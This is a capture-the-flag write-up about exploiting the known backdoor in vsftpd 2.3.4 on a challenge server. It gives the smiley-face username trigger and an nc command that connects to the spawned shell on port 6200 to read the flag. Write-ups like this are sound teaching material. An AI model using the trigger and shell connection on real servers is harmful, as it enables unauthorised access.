#  Very Secure FTPtags: misc | net
## Description
>I'm using the very secure ftp daemon for my projects:`ftp vsftp.uni.hctf.fun 2121` Still someone managed to get my secret file :(.Maybe [this](https://pastebin.com/AetT9sS5) has something to do with it...
The link takes to a pastebin that contains a diff of *vsftpd-2.3.4*.
## Solution
The version 2.3.4 of vsftpd is well known for being compromised with a backdoor.From wikipedia:>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
So I just needed to connect to the service with `ftp vsftp.uni.hctf.fun 2121` and enter an username ending with "**:)**".
I could then execute: `nc vsftp.uni.hctf.fun 6200` to connect to the new shell and check the content of the server:
```  ls  bin  flag.txt
  cat flag.txt  flag{Pr3tty_Obvi0us_B4ckd00r}```
Here it is!